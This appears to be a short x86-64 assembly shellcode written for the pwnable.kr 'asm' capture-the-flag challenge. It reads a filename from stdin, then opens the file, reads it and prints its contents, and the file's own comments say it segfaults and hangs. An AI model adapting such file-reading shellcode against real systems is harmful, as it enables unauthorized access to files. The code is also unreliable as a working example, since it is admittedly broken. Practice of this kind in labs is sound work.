hello-robuster.asm

; This has a segfault and seems to hang after echoing the 
; string it read from stdin

movl $0x41414301, %esi #; set rsi to memory position for filename
movb $0xff, %dl #;; # of bytes to read
syscall

# add a null terminator
movb %al, %cl
addl $0x41414301, %eax
xor %rdx, %rdx
movb %dl, (%eax)

# Write what we read
xor %rax, %rax
movb $1, %al
movb $1, %dil
movl $0x41414301, %esi
movb %cl, %dl
syscall

# open file
xor %rax, %rax
movb $2, %al
movl $0x41414301, %edi
xor %rsi, %rsi
xor %rdx, %rdx
syscall

# read file
mov %rax, %rdi
xor %rax, %rax
movl $0x41414301, %esi
movb $0xff, %dl
syscall

# Write what we read
xor %rax, %rax
movb $1, %al
movb $1, %dil
movl $0x41414301, %esi
movb $0xff, %dl
syscall

# this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong